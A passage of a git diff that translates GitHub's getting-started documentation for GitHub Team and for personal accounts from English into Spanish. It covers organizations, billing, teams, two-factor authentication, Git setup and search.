-As the first steps in starting with {% data variables.product.prodname_team %}, you will need to create a user account or log into your existing account on {% data variables.product.prodname_dotcom %}, create an organization, and set up billing.
+## Parte 1: Configurar tu cuenta de {% data variables.product.product_location %}
+Como primeros pasos en el inicio con {% data variables.product.prodname_team %}, necesitarás crear una cuenta de usuario o iniciar sesión en tu cuenta existente de {% data variables.product.prodname_dotcom %}, crear una organización y configurar la facturación.
 
-### 1. About organizations
-Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features. For more information on the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)."
+### 1. Acerca de las organizaciones
+Las organizaciones son cuentas compartidas donde las empresas y los proyectos de código abierto pueden colaborar en muchos proyectos a la vez. Los propietarios y los administradores pueden administrar el acceso de los miembros a los datos y los proyectos de la organización con características administrativas y de seguridad sofisticadas. Para obtener más información sobre las características de las organizaciones, consulta la sección "[Acerca de las organizaciones](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)".
 
-### 2. Creating an organization and signing up for {% data variables.product.prodname_team %}
-Before creating an organization, you will need to create a user account or log in to your existing account on {% data variables.product.product_location %}. For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)."
+### 2. Crear una organización y registrarse para {% data variables.product.prodname_team %}
+Antes de crear una organización, necesitarás crear una cuenta de usuario o iniciar sesión en tu cuenta existente de {% data variables.product.product_location %}. Para obtener más información, consulta "[Registrarse para una nueva cuenta de {% data variables.product.prodname_dotcom %}](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)".
 
-Once your user account is set up, you can create an organization and pick a plan. This is where you can choose a {% data variables.product.prodname_team %} subscription for your organization. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+Una vez que se configure tu cuenta de usuario, puedes crear una organización y elegir un plan. Aquí es donde puedes elegir una suscripción de {% data variables.product.prodname_team %} para tu organización. Para obtener más información, consulta la sección "[Crear una organización nueva desde cero](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)".
 
-### 3. Managing billing for an organization
-You must manage billing settings, payment method, and paid features and products for each of your personal accounts and organizations separately. You can switch between settings for your different accounts using the context switcher in your settings. For more information, see "[Switching between settings for your different accounts](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)."
+### 3. Administrar la facturación de una organización
+Debes administrar la configuración de facturación, método de pago y características y productos de pago para cada una de tus cuentas y organizaciones personales. Puedes cambiar entre la configuración de tus diversas cuentas utilizando el alternador de contexto en tu configuración. Para obtener más información, consulta la opción "[Cambiar los ajustes de tus cuentas diferentes](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)".
 
-Your organization's billing settings page allows you to manage settings like your payment method, billing cycle and billing email, or view information such as your subscription, billing date and payment history. You can also view and upgrade your storage and GitHub Actions minutes. For more information on managing your billing settings, see "[Managing your {% data variables.product.prodname_dotcom %} billing settings](/billing/managing-your-github-billing-settings)."
+La página de configuración de facturación de tu organización te permite administrar las configuraciones como tu método de pago, ciclo de facturación y correo electrónico de facturación o ver la información tal como tu suscripción, fecha de facturación e historial de pago. También puedes ver y mejorar tu almacenamiento y tus minutos de GitHub Actions. Para obtener más información sobre cómo administrar tu configuración de facturación, consulta la sección "[Administrar tu configuración de facturación de {% data variables.product.prodname_dotcom %}](/billing/managing-your-github-billing-settings)".
 
-Only organization members with the *owner* or *billing manager* role can access or change billing settings for your organization. A billing manager is someone  who manages the billing settings for your organization and does not use a paid license in your organization's subscription. For more information on adding a billing manager to your organization, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)."
+Solo los miembros de la organización con el rol de *propietario* o *gerente de facturación* pueden acceder o cambiar la configuración de facturación para tu organización. Un gerente de facturación es alguien que administra la configuración de facturación de tu organización y no utiliza una licencia de pago en la suscripción de tu organización. Para obtener más información sobre cómo agregar a un gerente de facturación a tu organización, consulta la sección "[Agregar a un gerente de facturación a tu organización](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)".
 
 
-## Part 2: Adding members and setting up teams
-After creating your organization, you can invite members and set permissions and roles. You can also create different levels of teams and set customized levels of permissions for your organization's repositories, project boards, and apps.
+## Parte 2: Agregar miembros y configurar equipos
+Después de crear tu organización, puedes invitar miembros y configurar permisos y roles. También puedes crear niveles diferentes de equipos y configurar niveles personalizados de permisos para los repositorios, tableros de proyecto y apps de tu organización.
 
-### 1. Managing members of your organization
+### 1. Administrar a los miembros de tu organización
 {% data reusables.getting-started.managing-org-members %}
 
-### 2. Organization permissions and roles
+### 2. Permisos y roles de la organización
 {% data reusables.getting-started.org-permissions-and-roles %}
 
-### 3. About and creating teams
+### 3. Acerca de y crear equipos
 {% data reusables.getting-started.about-and-creating-teams %}
-### 4. Managing team settings
+### 4. Administrar la configuración de los equipos
 {% data reusables.getting-started.managing-team-settings %}
 
-### 5. Giving people and teams access to repositories, project boards and apps
+### 5. Otorgar acceso a equipos y personas para los repositorios, tableros de proyecto y apps
 {% data reusables.getting-started.giving-access-to-repositories-projects-apps %}
-## Part 3: Managing security for your organization
-You can help to make your organization more secure by recommending or requiring two-factor authentication for your organization members, configuring security features, and reviewing your organization's audit log and integrations.
+## Parte 3: Administrar la seguridad de tu organización
+Puedes ayudar a mejorar la seguridad de tu organización si recomiendas o requieres autenticación bifactorial para los miembros de esta, configurando características de seguridad y revisando las bitácoras de auditoría e integraciones de la misma.
 
-### 1. Requiring two-factor authentication
+### 1. Requerir autenticación bifactorial
 {% data reusables.getting-started.requiring-2fa %}
 
-### 2. Configuring security features for your organization
+### 2. Configurar las características de seguridad de tu organización
 {% data reusables.getting-started.configuring-security-features %}
 
-### 3. Reviewing your organization's audit log and integrations
+### 3. Revisar las bitácoras de auditoría e integraciones de tu organización
 {% data reusables.getting-started.reviewing-org-audit-log-and-integrations %}
 
-## Part 4: Setting organization level policies
-### 1. Managing organization policies
+## Parte 4: Configurar políticas a nivel organizacional
+### 1. Administrar las políticas organizacionales
 {% data reusables.getting-started.managing-org-policies %}
-### 2. Managing repository changes
+### 2. Administrar los cambios de repositorio
 {% data reusables.getting-started.managing-repo-changes %}
-### 3. Using organization-level community health files and moderation tools
+### 3. Utilizar archivos de salud comunitaria y herramientas de moderación a nivel organizacional
 {% data reusables.getting-started.using-org-community-files-and-moderation-tools %}
-## Part 5: Customizing and automating your work on {% data variables.product.product_name %}
+## Parte 5: Personalizar y automatizar tu trabajo en {% data variables.product.product_name %}
 
 {% data reusables.getting-started.customizing-and-automating %}
-### 1. Using {% data variables.product.prodname_marketplace %}
+### 1. Uso de {% data variables.product.prodname_marketplace %}
 {% data reusables.getting-started.marketplace %}
-### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+### 2. Utilizar la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}
 {% data reusables.getting-started.api %}
 
-### 3. Building {% data variables.product.prodname_actions %}
+### 3. Crear {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
 
-### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+### 4. Publicar y administrar el {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
 
-## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community
+## Parte 6: Participar en la comunidad de {% data variables.product.prodname_dotcom %}
 {% data reusables.getting-started.participating-in-community %}
-### 1. Contributing to open source projects
+### 1. Contribuir con proyectos de código abierto
 {% data reusables.getting-started.open-source-projects %}
 
-### 2. Interacting with the {% data variables.product.prodname_gcf %}
+### 2. Interactuar con el {% data variables.product.prodname_gcf %}
 {% data reusables.support.ask-and-answer-forum %}
 
-### 3. Learning with {% data variables.product.prodname_learning %}
+### 3. Leer sobre {% data variables.product.prodname_team %} en {% data variables.product.prodname_docs %}
+Puedes leer la documentación que refleje las características disponibles en {% data variables.product.prodname_team %}. Para obtener más información, consulta la sección "[Acerca de las versiones de {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)".
+
+### 4. Aprender con {% data variables.product.prodname_learning %}
 {% data reusables.getting-started.learning-lab %}
 
-### 4. Supporting the open source community
+### 5. Apoyar a la comunidad de código abierto
 {% data reusables.getting-started.sponsors %}
 
-### 5. Contacting {% data variables.contact.github_support %}
+### 6. Comunicarse con {% data variables.contact.github_support %}
 {% data reusables.getting-started.contact-support %}
-## Further reading
+## Leer más
 
-- "[Getting started with your GitHub account](/get-started/onboarding/getting-started-with-your-github-account)"
+- "[Iniciar con tu cuenta de GitHub](/get-started/onboarding/getting-started-with-your-github-account)"
diff --git a/translations/es-ES/content/get-started/onboarding/getting-started-with-your-github-account.md b/translations/es-ES/content/get-started/onboarding/getting-started-with-your-github-account.md
index 8c5c1036a1..b2eb4795ab 100644
--- a/translations/es-ES/content/get-started/onboarding/getting-started-with-your-github-account.md
+++ b/translations/es-ES/content/get-started/onboarding/getting-started-with-your-github-account.md
@@ -1,6 +1,6 @@
 ---
-title: Getting started with your GitHub account
-intro: 'With a user account on {% data variables.product.prodname_dotcom %}, you can import or create repositories, collaborate with others, and connect with the {% data variables.product.prodname_dotcom %} community.'
+title: Iniciar con tu cuenta de GitHub
+intro: 'Con una cuenta de usuario en {% data variables.product.prodname_dotcom %}, puedes importar o crear repositorios, colaborar con otros y conectarte con la comunidad de {% data variables.product.prodname_dotcom %}.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -8,192 +8,196 @@ versions:
   ghec: '*'
 ---
 
-This guide will walk you through setting up your {% data variables.product.company_short %} account and getting started with {% data variables.product.product_name %}'s features for collaboration and community.
+Esta guía te mostrará cómo configurar tu cuenta de {% data variables.product.company_short %} y cómo iniciar con las características de colaboración y comunitarias de {% data variables.product.product_name %}.
 
-## Part 1: Configuring your {% data variables.product.prodname_dotcom %} account
+## Parte 1: Configurar tu cuenta de {% data variables.product.prodname_dotcom %}
 
 {% ifversion fpt or ghec %}
-The first steps in starting with {% data variables.product.product_name %} are to create an account, choose a product that fits your needs best, verify your email, set up two-factor authentication, and view your profile.
+Los primeros pasos para iniciar con {% data variables.product.product_name %} son crear una cuenta, elegir un producto que se acople a tus necesidades, verificar tu correo electrónico, configurar la autenticación bifactorial y ver tu perfil.
 {% elsif ghes %}
-The first steps in starting with {% data variables.product.product_name %} are to access your account, set up two-factor authentication, and view your profile.
+Los primeros pasos para comenzar con {% data variables.product.product_name %} son acceder a tu cuenta, configurar la autenticación bifactorial y ver tu perfil.
 {% elsif ghae %}
-The first steps in starting with {% data variables.product.product_name %} are to access your account and view your profile.
+Los primeros pasos para comenzar con {% data variables.product.product_name %} son acceder a tu cuenta y ver tu perfil.
 {% endif %}
 
-{% ifversion fpt or ghec %}There are several types of accounts on {% data variables.product.prodname_dotcom %}. {% endif %} Every person who uses {% data variables.product.product_name %} has their own user account, which can be part of multiple organizations and teams. Your user account is your identity on {% data variables.product.product_location %} and represents you as an individual.
+{% ifversion fpt or ghec %}Hay varios tipos de cuentas en {% data variables.product.prodname_dotcom %}. {% endif %} Todo aquél que utilice {% data variables.product.product_name %} tiene su propia cuenta, la cual puede ser parte de varias organizaciones y equipos. Tu cuenta de usuario es tu identidad en {% data variables.product.product_location %} y te representa como individuo.
 
 {% ifversion fpt or ghec %}
-### 1. Creating an account
-To sign up for an account on {% data variables.product.product_location %}, navigate to https://github.com/ and follow the prompts.
+### 1. Crear una cuenta
+Para registrarte para obtener una cuenta de {% data variables.product.product_location %}, navega a https://github.com/ and follow the prompts.
 
-To keep your {% data variables.product.prodname_dotcom %} account secure you should use a strong and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)."
+Para mantener tu cuenta de {% data variables.product.prodname_dotcom %} protegida, debes utilizar una contraseña fuerte y única. Para obtener más información, consulta la sección "[Crear una contraseña fuerte](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)".
 
-### 2. Choosing your {% data variables.product.prodname_dotcom %} product
-You can choose {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %} to get access to different features for your personal account. You can upgrade at any time if you are unsure at first which product you want.
+### 2. Elegir tu producto de {% data variables.product.prodname_dotcom %}
+Puedes elegir {% data variables.product.prodname_free_user %} o {% data variables.product.prodname_pro %} para obtener acceso a diversas características de tu cuenta personal. Puedes mejorarlas en cualquier momento si no estás seguro de qué producto quieres inicialmente.
 
-For more information on all of {% data variables.product.prodname_dotcom %}'s plans, see "[{% data variables.product.prodname_dotcom %}'s products](/get-started/learning-about-github/githubs-products)."
+Para obtener más información sobre todos los planes de {% data variables.product.prodname_dotcom %}, consulta la sección [ productos de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/githubs-products)".
 
-### 3. Verifying your email address
-To ensure you can use all the features in your {% data variables.product.product_name %} plan, verify your email address after signing up for a new account. For more information, see "[Verifying your email address](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)."
+### 3. Verificar tu dirección de correo electrónico
+Para garantizar que puedes utilizar todas las características en tu plan de {% data variables.product.product_name %}, verifica tu dirección de correo electrónico después de registrarte para obtener una cuenta nueva. Para obtener más información, consulta "[Verificar tu dirección de correo electrónico](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)".
 {% endif %}
 
 {% ifversion ghes %}
-### 1. Accessing your account
-The administrator of your {% data variables.product.product_name %} instance will notify you about how to authenticate and access your account. The process varies depending on the authentication mode they have configured for the instance.
+### 1. Acceder a tu cuenta
+El administrador de tu instancia de {% data variables.product.product_name %} te notificará sobre cómo autenticarte y acceder a tu cuenta. El proceso varía dependiendo del modo de autenticación que tienen configurado para la instancia.
 {% endif %}
 
 {% ifversion ghae %}
-### 1. Accessing your account
-You will receive an email notification once your enterprise owner for {% data variables.product.product_name %} has set up your account, allowing you to authenticate with SAML single sign-on (SSO) and access your account.
+### 1. Acceder a tu cuenta
+Recibirás una notificación de correo electrónico una vez que tu propietario de empresa en {% data variables.product.product_name %} haya configurado tu cuenta, lo cual te permitirá autenticarte con el inicio de sesión único (SSO) de SAML y acceder a tu cuenta.
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-### {% ifversion fpt or ghec %}4.{% else %}2.{% endif %} Configuring two-factor authentication
-Two-factor authentication, or 2FA, is an extra layer of security used when logging into websites or apps. We strongly urge you to configure 2FA for the safety of your account. For more information, see "[About two-factor authentication](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)."
+### {% ifversion fpt or ghec %}4.{% else %}2.{% endif %} Configurar la autenticación bifactorial
+La autenticación de dos factores, o 2FA, es una capa extra de seguridad que se usa cuando se inicia sesión en sitios web o aplicaciones. Insistimos en que configures la 2FA por seguridad de tu cuenta. Para obtener más información, consulta "[Acerca de la autenticación de dos factores](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)".
 {% endif %}
-### {% ifversion fpt or ghec %}5.{% elsif ghes %}3.{% else %}2.{% endif %} Viewing your {% data variables.product.prodname_dotcom %} profile and contribution graph
-Your {% data variables.product.prodname_dotcom %} profile tells people the story of your work through the repositories and gists you've pinned, the organization memberships you've chosen to publicize, the contributions you've made, and the projects you've created. For more information, see "[About your profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)" and "[Viewing contributions on your profile](/github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile)."
+### {% ifversion fpt or ghec %}5.{% elsif ghes %}3.{% else %}2.{% endif %} Ver tu perfil de {% data variables.product.prodname_dotcom %} y gráfica de contribuciones
+Tu perfil de {% data variables.product.prodname_dotcom %} les dice a las personas la historia de tu trabajo a través de los repositorios y gists que hayas fijado, las membrecías que hayas elegido publicitar, las contribuciones que hayas hecho y los proyectos que hayas creado. Para obtener más información, consulta las secciones "[Acerca de tu perfil](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)" y "[Ver las contribuciones en tu perfil](/github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile)".
 
-## Part 2: Using {% data variables.product.product_name %}'s tools and processes
-To best use {% data variables.product.product_name %}, you'll need to set up Git. Git is responsible for everything {% data variables.product.prodname_dotcom %}-related that happens locally on your computer. To effectively collaborate on {% data variables.product.product_name %}, you'll write in issues and pull requests using {% data variables.product.prodname_dotcom %} Flavored Markdown.
+## Parte 2: Utilizar las herramientas y procesos de {% data variables.product.product_name %}
+Para utilizar {% data variables.product.product_name %} de la mejor forma, necesitarás configurar Git. Git es responsable de todo lo relacionado con {% data variables.product.prodname_dotcom %} que suceda de forma local en tu computadora. Para colaborar de forma efectiva en {% data variables.product.product_name %}, necesitarás escribir en propuestas y solicitudes de cambio utilizando el Lenguaje de Marcado Enriquecido de {% data variables.product.prodname_dotcom %}.
 
-### 1. Learning Git
-{% data variables.product.prodname_dotcom %}'s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.product_name %} for other people to view, fetch, and update using Git. For more information about Git, see the "[Git Handbook](https://guides.github.com/introduction/git-handbook/)" guide. For more information about how Git is used on {% data variables.product.product_name %}, see "[{% data variables.product.prodname_dotcom %} flow](/get-started/quickstart/github-flow)."
-### 2. Setting up Git
-If you plan to use Git locally on your computer, whether through the command line, an IDE or text editor, you will need to install and set up Git. For more information, see "[Set up Git](/get-started/quickstart/set-up-git)."
+### 1. Aprender a usar Git
+El enfoque colaborativo de {% data variables.product.prodname_dotcom %} para el desarrollo depende de las confirmaciones de publicación desde tu repositorio local hacia {% data variables.product.product_name %} para que las vean, recuperen y actualicen otras personas utilizando Git. Para obtener más información sobre Git, consulta la guía del "[Manual de Git](https://guides.github.com/introduction/git-handbook/)". Para obtener más información sobre cómo se utiliza Git en {% data variables.product.product_name %}, consulta la sección "[flujo de {% data variables.product.prodname_dotcom %}](/get-started/quickstart/github-flow)".
+### 2. Configurar Git
+Si planeas utilizar Git localmente en tu computadora, ya sea a través de la línea de comandos, de un IDE o de un editor de texto, necesitarás instalar y configurar Git. Para obtener más información, consulta "[Configurar Git](/get-started/quickstart/set-up-git)."
 
-If you prefer to use a visual interface, you can download and use {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} comes packaged with Git, so there is no need to install Git separately. For more information, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)."
+Si prefieres utilizar una interfaz virtual, puedes descargar y utilziar {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} viene en un paquete con Git, así que no hay necesidad de instalar Git por separado. Para obtener más información, consulta "[Comenzar con {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)".
 
-Once you install Git, you can connect to {% data variables.product.product_name %} repositories from your local computer, whether your own repository or another user's fork. When you connect to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH. For more information, see "[About remote repositories](/get-started/getting-started-with-git/about-remote-repositories)."
+Una vez que instalaste Git, puedes conectarte a los repositorios de {% data variables.product.product_name %} desde tu computadora local, ya sea que se trate de tu propio repositorio o de la bifurcación del de otro usuario. Cuando te conectas a un repositorio de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} desde Git, necesitarás autenticarte con {% data variables.product.product_name %} utilizando ya sea HTTPS o SSH. Para obtener más información, consulta la sección "[Acerca de los repositorios remotos](/get-started/getting-started-with-git/about-remote-repositories)".
 
-### 3. Choosing how to interact with {% data variables.product.product_name %}
-Everyone has their own unique workflow for interacting with {% data variables.product.prodname_dotcom %}; the interfaces and methods you use depend on your preference and what works best for your needs.
+### 3. Elegir cómo interactuar con {% data variables.product.product_name %}
+Cada quién tiene su propio flujo de trabajo único para interactuar con {% data variables.product.prodname_dotcom %}; las interfaces y métodos que utilices dependen de tu preferencia y de lo que funcione mejor para cubrir tus necesidades.
 
-For more information about how to authenticate to {% data variables.product.product_name %} with each of these methods, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github)."
+Para obtener más información sobre cómo autenticarte en {% data variables.product.product_name %} con cada uno de estos métodos, consulta la sección "[Sobre la autenticación en {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github)".
 
-| **Method**  | **Description** | **Use cases** |
-| ------------- | ------------- | ------------- |
-| Browse to {% data variables.product.prodname_dotcom_the_website %} | If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete most Git-related actions directly in the browser, from creating and forking repositories to editing files and opening pull requests.| This method is useful if you want a visual interface and need to do quick, simple changes that don't require working locally. |
-| {% data variables.product.prodname_desktop %} | {% data variables.product.prodname_desktop %} extends and simplifies your {% data variables.product.prodname_dotcom_the_website %} workflow, using a visual interface instead of text commands on the command line. For more information on getting started with {% data variables.product.prodname_desktop %}, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)." | This method is best if you need or want to work with files locally, but prefer using a visual interface to use Git and interact with {% data variables.product.product_name %}. |
-| IDE or text editor  | You can set a default text editor, like [Atom](https://atom.io/) or [Visual Studio Code](https://code.visualstudio.com/) to open and edit your files with Git, use extensions, and view the project structure. For more information, see "[Associating text editors with Git](/github/using-git/associating-text-editors-with-git)." | This is convenient if you are working with more complex files and projects and want everything in one place, since text editors or IDEs often allow you to directly access the command line in the editor. |
-| Command line, with or without {% data variables.product.prodname_cli %} | For the most granular control and customization of how you use Git and interact with {% data variables.product.product_name %}, you can use the command line. For more information on using Git commands, see "[Git cheatsheet](/github/getting-started-with-github/quickstart/git-cheatsheet)."<br/><br/> {% data variables.product.prodname_cli %} is a separate command-line tool you can install that brings pull requests, issues, {% data variables.product.prodname_actions %}, and other {% data variables.product.prodname_dotcom %} features to your terminal, so you can do all your work in one place. For more information, see "[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)." | This is most convenient if you are already working from the command line, allowing you to avoid switching context, or if you are more comfortable using the command line. |
-| {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API | {% data variables.product.prodname_dotcom %} has a REST API and GraphQL API that you can use to interact with {% data variables.product.product_name %}. For more information, see "[Getting started with the API](/github/extending-github/getting-started-with-the-api)." | The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API would be most helpful if you wanted to automate common tasks, back up your data, or create integrations that extend {% data variables.product.prodname_dotcom %}. |
-### 4. Writing on {% data variables.product.product_name %}
-To make your communication clear and organized in issues and pull requests, you can use {% data variables.product.prodname_dotcom %} Flavored Markdown for formatting, which combines an easy-to-read, easy-to-write syntax with some custom functionality. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)."
+| **Método**                                                                                                                                     | **Descripción**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | **Casos de Uso**                                                                                                                                                                                                                                                                                                               |
+| ---------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| Navega a {% data variables.product.prodname_dotcom_the_website %}                                                                            | Si no necesitas trabajar con archivos localmente, {% data variables.product.product_name %} te permite completar la mayoría de las acciones relacionadas con Git en el buscador, desde crear y bifurcar repositorios hasta editar archivos y abrir solicitudes de cambios.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Este método es útil si quieres tener una interfaz virtual y necesitas realizar cambios rápidos y simples que no requieran que trabajes localmente.                                                                                                                                                                             |
+| {% data variables.product.prodname_desktop %}                                                                                                  | {% data variables.product.prodname_desktop %} se extiende y simplifica tu flujo de trabajo {% data variables.product.prodname_dotcom_the_website %}, usando una interfaz visual en lugar de comandos de texto en la línea de comandos. Para obtener más información sobre cómo iniciar con {% data variables.product.prodname_desktop %}, consulta la sección "[Iniciar con {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)".                                                                                                                                                                                                                                                                                                                                                                                                         | Este método es le mejor si necesitas o quieres trabajar con archivos localmente, pero prefieres utilizar una interfaz visual para utilizar Git e interactuar con {% data variables.product.product_name %}.                                                                                                                    |
+| IDE o editor de texto                                                                                                                          | Puedes configurar un editor de texto predeterminado, como [Atom](https://atom.io/) o [Visual Studio Code](https://code.visualstudio.com/) para abrir y editar tus archivos con Git, utilizar extensiones y ver la estructura del proyecto. Para obtener más información, consulta la sección "[Asociar los editores de texto con Git](/github/using-git/associating-text-editors-with-git)".                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Es conveniente si estás trabajando con archivos y proyectos más complejos y quieres todo en un solo lugar, ya que los editores o IDE a menudo te permiten acceder directamente a la línea de comandos en el editor.                                                                                                            |
+| Línea de comandos, con o sin {% data variables.product.prodname_cli %}                                                                         | Para la mayoría de los controles granulares y personalización de cómo utilizas Git e interactúas con {% data variables.product.product_name %}, puedes utilizar la línea de comandos. Para obtener más información sobre cómo utilizar los comandos de Git, consulta la sección "[Hoja de comandos de Git](/github/getting-started-with-github/quickstart/git-cheatsheet)".<br/><br/> El {% data variables.product.prodname_cli %} es una herramienta de línea de comandos por separado que puedes instalar, la cual agrega solicitudes de cambio, propuestas, {% data variables.product.prodname_actions %} y otras características de {% data variables.product.prodname_dotcom %} a tu terminal para que puedas hacer todo tu trabajo desde un solo lugar. Para obtener más información, consulta la sección "[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)". | Esto es lo más conveniente si ya estás trabajando desde la línea de comandos, lo cual te permite evitar cambiar de contexto o si estás más cómodo utilizando la línea de comandos.                                                                                                                                             |
+| API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} | {% data variables.product.prodname_dotcom %} Tiene una API de REST y una de GraphQL que puedes utilizar para interactuar con {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Comenzar con la API](/github/extending-github/getting-started-with-the-api)".                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | La API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} tendrá la mayor utilidad si quisieras automatizar tareas comunes, respaldar tus datos o crear integraciones que se extiendan a {% data variables.product.prodname_dotcom %}. |
+### 4. Escribir en {% data variables.product.product_name %}
+Para que tus comunicaciones sean más claras y organizadas en propuestas y solicitudes de cambios, puedes utilizar el Lenguaje de Marcado Enriquecido de {% data variables.product.prodname_dotcom %} para formatearlas, el cual combina una sintaxis fácil de escribir y de leer con algunas funcionalidades personalizadas. Para obtener más información, consulta "[Acerca de la escritura y el formato en {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)."
 
-You can learn {% data variables.product.prodname_dotcom %} Flavored Markdown with the "[Communicating using Markdown](https://lab.github.com/githubtraining/communicating-using-markdown)" course on {% data variables.product.prodname_learning %}.
+Puedes aprender a utilizar el Lenguaje de Marcado Enriquecido de {% data variables.product.prodname_dotcom %} con el curso de [Comunícarse utilizando el Lenguaje de Marcado](https://lab.github.com/githubtraining/communicating-using-markdown)" que hay en {% data variables.product.prodname_learning %}.
 
-### 5. Searching on {% data variables.product.product_name %}
-Our integrated search allows you to find what you are looking for among the many repositories, users and lines of code on {% data variables.product.product_name %}. You can search globally across all of {% data variables.product.product_name %} or limit your search to a particular repository or organization. For more information about the types of searches you can do on {% data variables.product.product_name %}, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github)."
+### 5. Buscar en {% data variables.product.product_name %}
+Nuestra búsqueda integrada te permite encontrar lo que estás buscando de entre los muchos repositorios, usuarios y líneas de código que hay en {% data variables.product.product_name %}. Puedes buscar globalmente a través de todo {% data variables.product.product_name %} o limitar tu búsqueda a un repositorio u organización en particular. Para obtener más información sobre los tipos de búsqueda que puedes hacer en {% data variables.product.product_name %}, consulta la sección "[Acerca de buscar en {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github)".
 
-Our search syntax allows you to construct queries using qualifiers to specify what you want to search for. For more information on the search syntax to use in search, see "[Searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/searching-on-github)."
+Nuestra sintaxis de búsqueda te permite construir consultas utilizando calificadores para especificar lo que quieres buscar. Para obtener más información sobre la sintaxis de búsqueda a utilizar, consulta la sección "[Buscar en {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/searching-on-github)".
 
-### 6. Managing files on {% data variables.product.product_name %}
